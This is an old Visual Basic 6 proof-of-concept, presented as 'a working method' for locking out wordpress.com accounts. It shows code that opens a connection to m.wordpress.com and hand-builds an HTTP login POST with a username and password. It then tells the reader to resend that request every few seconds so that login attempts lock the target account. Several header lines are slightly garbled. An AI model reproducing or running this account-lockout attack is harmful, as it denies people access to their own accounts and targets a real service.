VB6 Wordpress Lockout Example POC SRC (Older) 2007-2008ish..

                           Wordpress Lock Out

                              Coded By BrÜ


    This is a working method to lock out wordpress.com accounts.


                 Step1. Connect to m.wordpress.com:

                 On Error Resume Next
                 Client.Disconnect()
                 Client.Connect("m.wordpress.com", 80)


                 Step2. Connection Packet Data:

                 On Error Resume Next
                 'Authentication Packet.
                 Dim Lenn As Double
                 Lenn = Len("log=" & TextBox6.Text & "&pwd=" & TextBox7.Text & "&submit=Login+%C2%BB&redirect_to=http%3A%2F%2Fm.wordpress.com%2F")
        Client.SendData (Client.StringToBytes("POST / HTTP/1.1" & vbCrLf))
        Client.SendData (Client.StringToBytes("Host: m.wordpress.com" & vbCrLf))
        Client.SendData (Client.StringToBytes("User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20" & vbCrLf))
        Client.SendData (Client.StringToBytes("Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5" & vbCrLf))
        Client.SendData (Client.StringToBytes("Accept-Language: en-us,en;q=0.5" & vbCrLf))
        Client.SendData (Client.StringToBytes("Accept(-Encoding) : gzip(, deflate" & vbCrLf))
        Client.SendData (Client.StringToBytes("Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7" & vbCrLf))
        Client.SendData (Client.StringToBytes("Keep-Alive: 300" & vbCrLf))
        Client.SendData (Client.StringToBytes("Connection: keep(-alive)" & vbCrLf))
        Client.SendData (Client.StringToBytes("Referer: http://m.wordpress.com/" & vbCrLf))
        Client.SendData (Client.StringToBytes("Cookie: __utma=11735858.4590759185424364000.1234752465.1234752465.1234752465.1; __utmb=11735858.2.10.1234752465; __utmc=11735858; __utmz=11735858.1234752465.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=4998cfd8-106ab-765e3-51bd8; __qcb=686240527; wordpress_test_cookie=WP+Cookie+check; ref=typo; cookietest=1" & vbCrLf))
        Client.SendData (Client.StringToBytes("Content-Type: application/x-www-form-urlencoded" & vbCrLf))
        Client.SendData (Client.StringToBytes("Content-Length: " & Lenn & vbCrLf & vbCrLf))
        Client.SendData (Client.StringToBytes("log=" & TextBox6.Text & "&pwd=" & TextBox7.Text & "&submit=Login+%C2%BB&redirect_to=http%3A%2F%2Fm.wordpress.com%2FHTTP"))


                 Step3. Reconnect and resend connection packet data every 3 to 5 seconds.